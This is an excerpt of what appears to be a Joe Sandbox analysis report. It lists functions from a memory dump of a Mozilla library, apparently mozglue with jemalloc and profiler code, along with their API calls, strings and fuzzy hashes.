Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_CRASH(), xrefs: 6C4F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
schema, xrefs: 6C52606D
name, xrefs: 6C525E79, 6C525E8F
expected a Count entry, xrefs: 6C525AC3
expected a Time entry, xrefs: 6C525CB6
data, xrefs: 6C526131

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

set , xrefs: 6C5236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D
get , xrefs: 6C523205

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5181E3, 6C518311
name, xrefs: 6C517ECF, 6C518335
(pre-xul), xrefs: 6C517E88
data, xrefs: 6C518280, 6C5183E1
vUl, xrefs: 6C518207

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C524DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A
schema, xrefs: 6C5248C1
-%llu, xrefs: 6C524825
data, xrefs: 6C5249B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
Ul, xrefs: 6C524F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C4FD82C
<jemalloc>, xrefs: 6C4FD827

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

(null), xrefs: 6C53706A, 6C537083
### ERROR: %s: %s, xrefs: 6C537087

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C522E3B
expected a Time entry, xrefs: 6C522E36
(root), xrefs: 6C52354F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

NaN, xrefs: 6C539EAB
